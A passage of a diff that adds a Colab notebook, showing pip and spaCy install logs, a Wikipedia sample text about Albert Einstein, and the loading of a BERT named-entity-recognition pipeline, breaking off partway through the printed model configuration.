+            "  Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n",
+            "\u001b[K     |████████████████████████████████| 596 kB 58.5 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers) (4.11.3)\n",
+            "Requirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers) (2.23.0)\n",
+            "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers) (1.21.6)\n",
+            "Collecting sacremoses\n",
+            "  Downloading sacremoses-0.0.49-py3-none-any.whl (895 kB)\n",
+            "\u001b[K     |████████████████████████████████| 895 kB 48.0 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub<1.0,>=0.1.0->transformers) (4.1.1)\n",
+            "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers) (3.0.8)\n",
+            "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers) (3.8.0)\n",
+            "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (1.24.3)\n",
+            "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (2021.10.8)\n",
+            "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (3.0.4)\n",
+            "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers) (2.10)\n",
+            "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (1.15.0)\n",
+            "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (1.1.0)\n",
+            "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers) (7.1.2)\n",
+            "Installing collected packages: pyyaml, tokenizers, sacremoses, huggingface-hub, transformers, sentencepiece\n",
+            "  Attempting uninstall: pyyaml\n",
+            "    Found existing installation: PyYAML 3.13\n",
+            "    Uninstalling PyYAML-3.13:\n",
+            "      Successfully uninstalled PyYAML-3.13\n",
+            "Successfully installed huggingface-hub-0.5.1 pyyaml-6.0 sacremoses-0.0.49 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "!pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "X_UZvMU1um1s",
+        "outputId": "9e41b500-63df-4e87-b771-422acca609cd"
+      },
+      "execution_count": 2,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Collecting en-core-web-trf==3.2.0\n",
+            "  Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl (460.2 MB)\n",
+            "\u001b[K     |████████████████████████████████| 460.2 MB 29 kB/s \n",
+            "\u001b[?25hCollecting spacy-transformers<1.2.0,>=1.1.2\n",
+            "  Downloading spacy_transformers-1.1.5-py2.py3-none-any.whl (51 kB)\n",
+            "\u001b[K     |████████████████████████████████| 51 kB 147 kB/s \n",
+            "\u001b[?25hCollecting spacy<3.3.0,>=3.2.0\n",
+            "  Downloading spacy-3.2.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (6.0 MB)\n",
+            "\u001b[K     |████████████████████████████████| 6.0 MB 7.4 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: blis<0.8.0,>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (0.4.1)\n",
+            "Requirement already satisfied: jinja2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.11.3)\n",
+            "Requirement already satisfied: preshed<3.1.0,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.6)\n",
+            "Collecting thinc<8.1.0,>=8.0.12\n",
+            "  Downloading thinc-8.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (653 kB)\n",
+            "\u001b[K     |████████████████████████████████| 653 kB 66.8 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: murmurhash<1.1.0,>=0.28.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.0.6)\n",
+            "Collecting pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4\n",
+            "  Downloading pydantic-1.8.2-cp37-cp37m-manylinux2014_x86_64.whl (10.1 MB)\n",
+            "\u001b[K     |████████████████████████████████| 10.1 MB 67.8 MB/s \n",
+            "\u001b[?25hCollecting catalogue<2.1.0,>=2.0.6\n",
+            "  Downloading catalogue-2.0.7-py3-none-any.whl (17 kB)\n",
+            "Collecting typer<0.5.0,>=0.3.0\n",
+            "  Downloading typer-0.4.1-py3-none-any.whl (27 kB)\n",
+            "Collecting spacy-legacy<3.1.0,>=3.0.8\n",
+            "  Downloading spacy_legacy-3.0.9-py2.py3-none-any.whl (20 kB)\n",
+            "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (0.9.1)\n",
+            "Collecting langcodes<4.0.0,>=3.2.0\n",
+            "  Downloading langcodes-3.3.0-py3-none-any.whl (181 kB)\n",
+            "\u001b[K     |████████████████████████████████| 181 kB 73.9 MB/s \n",
+            "\u001b[?25hCollecting srsly<3.0.0,>=2.4.1\n",
+            "  Downloading srsly-2.4.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (457 kB)\n",
+            "\u001b[K     |████████████████████████████████| 457 kB 56.4 MB/s \n",
+            "\u001b[?25hCollecting spacy-loggers<2.0.0,>=1.0.0\n",
+            "  Downloading spacy_loggers-1.0.2-py3-none-any.whl (7.2 kB)\n",
+            "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (21.3)\n",
+            "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.21.6)\n",
+            "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.6)\n",
+            "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (7.1.2)\n",
+            "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (4.64.0)\n",
+            "Requirement already satisfied: requests<3.0.0,>=2.13.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.23.0)\n",
+            "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (57.4.0)\n",
+            "Collecting pathy>=0.3.5\n",
+            "  Downloading pathy-0.6.1-py3-none-any.whl (42 kB)\n",
+            "\u001b[K     |████████████████████████████████| 42 kB 1.4 MB/s \n",
+            "\u001b[?25hCollecting typing-extensions<4.0.0.0,>=3.7.4\n",
+            "  Downloading typing_extensions-3.10.0.2-py3-none-any.whl (26 kB)\n",
+            "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.8.0)\n",
+            "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.8)\n",
+            "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (5.2.1)\n",
+            "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2021.10.8)\n",
+            "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (3.0.4)\n",
+            "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.10)\n",
+            "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (1.24.3)\n",
+            "Collecting transformers<4.18.0,>=3.4.0\n",
+            "  Downloading transformers-4.17.0-py3-none-any.whl (3.8 MB)\n",
+            "\u001b[K     |████████████████████████████████| 3.8 MB 53.2 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.10.0+cu111)\n",
+            "Collecting spacy-alignments<1.0.0,>=0.7.2\n",
+            "  Downloading spacy_alignments-0.8.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.1 MB)\n",
+            "\u001b[K     |████████████████████████████████| 1.1 MB 50.1 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (6.0)\n",
+            "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (2019.12.20)\n",
+            "Requirement already satisfied: tokenizers!=0.11.3,>=0.11.1 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.12.1)\n",
+            "Requirement already satisfied: sacremoses in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.0.49)\n",
+            "Requirement already satisfied: huggingface-hub<1.0,>=0.1.0 in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (0.5.1)\n",
+            "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (4.11.3)\n",
+            "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (3.6.0)\n",
+            "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-trf==3.2.0) (2.0.1)\n",
+            "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.1.0)\n",
+            "Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers<4.18.0,>=3.4.0->spacy-transformers<1.2.0,>=1.1.2->en-core-web-trf==3.2.0) (1.15.0)\n",
+            "Installing collected packages: typing-extensions, catalogue, typer, srsly, pydantic, thinc, spacy-loggers, spacy-legacy, pathy, langcodes, transformers, spacy-alignments, spacy, spacy-transformers, en-core-web-trf\n",
+            "  Attempting uninstall: typing-extensions\n",
+            "    Found existing installation: typing-extensions 4.1.1\n",
+            "    Uninstalling typing-extensions-4.1.1:\n",
+            "      Successfully uninstalled typing-extensions-4.1.1\n",
+            "  Attempting uninstall: catalogue\n",
+            "    Found existing installation: catalogue 1.0.0\n",
+            "    Uninstalling catalogue-1.0.0:\n",
+            "      Successfully uninstalled catalogue-1.0.0\n",
+            "  Attempting uninstall: srsly\n",
+            "    Found existing installation: srsly 1.0.5\n",
+            "    Uninstalling srsly-1.0.5:\n",
+            "      Successfully uninstalled srsly-1.0.5\n",
+            "  Attempting uninstall: thinc\n",
+            "    Found existing installation: thinc 7.4.0\n",
+            "    Uninstalling thinc-7.4.0:\n",
+            "      Successfully uninstalled thinc-7.4.0\n",
+            "  Attempting uninstall: transformers\n",
+            "    Found existing installation: transformers 4.18.0\n",
+            "    Uninstalling transformers-4.18.0:\n",
+            "      Successfully uninstalled transformers-4.18.0\n",
+            "  Attempting uninstall: spacy\n",
+            "    Found existing installation: spacy 2.2.4\n",
+            "    Uninstalling spacy-2.2.4:\n",
+            "      Successfully uninstalled spacy-2.2.4\n",
+            "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n",
+            "tensorflow 2.8.0 requires tf-estimator-nightly==2.8.0.dev2021122109, which is not installed.\u001b[0m\n",
+            "Successfully installed catalogue-2.0.7 en-core-web-trf-3.2.0 langcodes-3.3.0 pathy-0.6.1 pydantic-1.8.2 spacy-3.2.4 spacy-alignments-0.8.5 spacy-legacy-3.0.9 spacy-loggers-1.0.2 spacy-transformers-1.1.5 srsly-2.4.3 thinc-8.0.15 transformers-4.17.0 typer-0.4.1 typing-extensions-3.10.0.2\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "!python -m spacy download en_core_web_sm"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "gX5UQMXtt7Cx",
+        "outputId": "fd848ea2-7dbd-4230-e0fe-b1ef88339e0e"
+      },
+      "execution_count": 3,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Collecting en-core-web-sm==3.2.0\n",
+            "  Downloading https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-3.2.0/en_core_web_sm-3.2.0-py3-none-any.whl (13.9 MB)\n",
+            "\u001b[K     |████████████████████████████████| 13.9 MB 5.1 MB/s \n",
+            "\u001b[?25hRequirement already satisfied: spacy<3.3.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from en-core-web-sm==3.2.0) (3.2.4)\n",
+            "Requirement already satisfied: pathy>=0.3.5 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.6.1)\n",
+            "Requirement already satisfied: thinc<8.1.0,>=8.0.12 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (8.0.15)\n",
+            "Requirement already satisfied: jinja2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.11.3)\n",
+            "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (57.4.0)\n",
+            "Requirement already satisfied: requests<3.0.0,>=2.13.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.23.0)\n",
+            "Requirement already satisfied: preshed<3.1.0,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.6)\n",
+            "Requirement already satisfied: click<8.1.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (7.1.2)\n",
+            "Requirement already satisfied: numpy>=1.15.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.21.6)\n",
+            "Requirement already satisfied: langcodes<4.0.0,>=3.2.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.3.0)\n",
+            "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (21.3)\n",
+            "Requirement already satisfied: typer<0.5.0,>=0.3.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n",
+            "Requirement already satisfied: cymem<2.1.0,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.6)\n",
+            "Requirement already satisfied: catalogue<2.1.0,>=2.0.6 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.7)\n",
+            "Requirement already satisfied: pydantic!=1.8,!=1.8.1,<1.9.0,>=1.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.8.2)\n",
+            "Requirement already satisfied: srsly<3.0.0,>=2.4.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.4.3)\n",
+            "Requirement already satisfied: tqdm<5.0.0,>=4.38.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (4.64.0)\n",
+            "Requirement already satisfied: murmurhash<1.1.0,>=0.28.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.6)\n",
+            "Requirement already satisfied: typing-extensions<4.0.0.0,>=3.7.4 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.10.0.2)\n",
+            "Requirement already satisfied: spacy-loggers<2.0.0,>=1.0.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.0.2)\n",
+            "Requirement already satisfied: wasabi<1.1.0,>=0.8.1 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.9.1)\n",
+            "Requirement already satisfied: blis<0.8.0,>=0.4.0 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (0.4.1)\n",
+            "Requirement already satisfied: spacy-legacy<3.1.0,>=3.0.8 in /usr/local/lib/python3.7/dist-packages (from spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.9)\n",
+            "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from catalogue<2.1.0,>=2.0.6->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.8.0)\n",
+            "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.8)\n",
+            "Requirement already satisfied: smart-open<6.0.0,>=5.0.0 in /usr/local/lib/python3.7/dist-packages (from pathy>=0.3.5->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (5.2.1)\n",
+            "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2021.10.8)\n",
+            "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.10)\n",
+            "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.24.3)\n",
+            "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.4)\n",
+            "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.1)\n",
+            "Installing collected packages: en-core-web-sm\n",
+            "  Attempting uninstall: en-core-web-sm\n",
+            "    Found existing installation: en-core-web-sm 2.2.5\n",
+            "    Uninstalling en-core-web-sm-2.2.5:\n",
+            "      Successfully uninstalled en-core-web-sm-2.2.5\n",
+            "Successfully installed en-core-web-sm-3.2.0\n",
+            "\u001b[38;5;2m✔ Download and installation successful\u001b[0m\n",
+            "You can now load the package via spacy.load('en_core_web_sm')\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 4,
+      "metadata": {
+        "id": "cWM2ZmQj-7cL"
+      },
+      "outputs": [],
+      "source": [
+        "import spacy\n",
+        "from transformers import *"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "# sample text from Wikipedia\n",
+        "text = \"\"\"\n",
+        "Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+        "Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+        "Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year. \n",
+        "In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900\n",
+        "\"\"\""
+      ],
+      "metadata": {
+        "id": "c8Fpojshvz5q"
+      },
+      "execution_count": 5,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "# load BERT model fine-tuned for Named Entity Recognition (NER)\n",
+        "ner = pipeline(\"ner\", model=\"dslim/bert-base-NER\")"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 1000,
+          "referenced_widgets": [
+            "d003aee1f68448d080b131160fbf0f42",
+            "13a93cbb501d449c8367e875f84dc8af",
+            "dd4901e643d140b8b75c6031359a35ed",
+            "510b8cdd5bfa44458b2bb63da21b5a5c",
+            "86f81b96b4a5459182ba60ca550f44b6",
+            "2c10acf72c97479c82ac853a5cd372bc",
+            "9aaca0628fca4f2eaa79ce470f1cbe04",
+            "7fb5607ab7174cdc8bbf91de38736aae",
+            "5cb5ef67c23b49d8b60267a3243bda7e",
+            "e3e2f4c00d87492b8910320d2013b2ed",
+            "edbcb62bb5d74021a43a6fa87813dc6f",
+            "1ea8bede937f4f2a86aa2a3e171f01f5",
+            "e9ba81a5262a4064a4b264dbd65be72a",
+            "8d36d6398f82455297c54752cfa75e19",
+            "acf9e37b852648bc9bde3a9b9e46e88e",
+            "47eff52636ad46b4a9921786fac2a87a",
+            "d0185c3829a3430e84d66c2e2e822e24",
+            "7d319e1748a34187860166041ba58bfb",
+            "78d2ab9bcad3473c871f42ee10a47cde",
+            "30771e225ce84020992c4c6d0272ce91",
+            "870eab9ef32d4dd7a3888f1c8b2fd866",
+            "20d165e3ad6f4151adc337c8852c5af0",
+            "9e3f6b5478bc40b59588b45a21baa8ba",
+            "26d5fe3ca4da42688dd94c4de885802b",
+            "42d869ff361446a8b174853e54ba0d5d",
+            "92f7d6b9cbb44b32acf5ada208358b6b",
+            "41082754c88d4a83b67ad55e4abbfa41",
+            "42a20dc48a7246f5bfe37a434eb5ea99",
+            "d9a1d7a2099948a18d061b9312909de4",
+            "1d196a6c69df4805a7d32cc34e6c5a71",
+            "7b8a749775c14ea19cd27a8b6d21ec66",
+            "062f5d1b87d841eda66a6392bc755da9",
+            "9cb592a10fe9403a9f70ca8c1179979a",
+            "8b83c336f76a450998d42074740f8ba7",
+            "61e34de53f824bbda1c44081fe1a8db7",
+            "53e0ebbe06874a9d9f063b8e2f227a82",
+            "a4674d3d476e4e34b65137195b926cc4",
+            "f98ca551ff4443f0a4e40bcf7758f3dc",
+            "ef1d3589d4474347a79054118ad11683",
+            "03ae716e541d4b22b2e82f36d1fa516c",
+            "9b57473fbcb341cf90393ad8f41eff2f",
+            "ff5e0890b8724417b82358a48aba3e78",
+            "95707ff8a18749cbaf31ce459278662f",
+            "c77101d1f1ca4452805baa23883deb71",
+            "59432e64a20f4a1f840a4a4e4219b61a",
+            "37b0572613f2436fb1295266742a3347",
+            "9601fd546e844c22a9bbd578af726caa",
+            "b1bbe9741ce6472fa767e38d4165ba0a",
+            "8faf96e2a06749edb9e407e3078ed863",
+            "e7bf154fcfb34c2d963ee3dc15de9b4a",
+            "247e98ffba5b4677af83ecc7adabf4f9",
+            "36debd6ba8074e0fad9da507c4ab276e",
+            "99be590e388b4d8a8987e45f920d5e36",
+            "d59c98d15314432b964418fc26384411",
+            "55c80d31a9774730b53948f5f0beac6f",
+            "b13e766210c44230a2d4a027fe3e5c21",
+            "1d6db3019cbf4abcb3652617e56bcbea",
+            "745a2fa9e81a4c24bb54d53ab6805d34",
+            "19db4b4005064243a5409e84ea9f89df",
+            "99bbe160962a4ad48bf423145bf99430",
+            "32cfdb3f92304c329307a9ee43852f38",
+            "ab532f783ed04c8ca11ef2087722e465",
+            "34ad0b24e30447b5b2f0aa11bc59c687",
+            "3d8ab41e60ed4eea84b75c1804e561ab",
+            "30a6d47314cc49fbbd969b76e580c72a",
+            "48df546e7b564234b3778f6ffeadbf17"
+          ]
+        },
+        "id": "bt3r6hON-9rZ",
+        "outputId": "1267034b-9a7a-4139-f01a-6e1079170e16"
+      },
+      "execution_count": 6,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp546bt3vk/n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/829 [00:00, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "d003aee1f68448d080b131160fbf0f42"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json in cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "creating metadata file for /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+            "  \"_num_labels\": 9,\n",
+            "  \"architectures\": [\n",
+            "    \"BertForTokenClassification\"\n",
+            "  ],\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"id2label\": {\n",
+            "    \"0\": \"O\",\n",
+            "    \"1\": \"B-MISC\",\n",
+            "    \"2\": \"I-MISC\",\n",
+            "    \"3\": \"B-PER\",\n",
+            "    \"4\": \"I-PER\",\n",
+            "    \"5\": \"B-ORG\",\n",
+            "    \"6\": \"I-ORG\",\n",
+            "    \"7\": \"B-LOC\",\n",
+            "    \"8\": \"I-LOC\"\n",
+            "  },\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"label2id\": {\n",
+            "    \"B-LOC\": 7,\n",
+            "    \"B-MISC\": 1,\n",
+            "    \"B-ORG\": 5,\n",
+            "    \"B-PER\": 3,\n",
+            "    \"I-LOC\": 8,\n",
+            "    \"I-MISC\": 2,\n",
+            "    \"I-ORG\": 6,\n",
+            "    \"I-PER\": 4,\n",
+            "    \"O\": 0\n",
+            "  },\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"max_position_embeddings\": 512,\n",
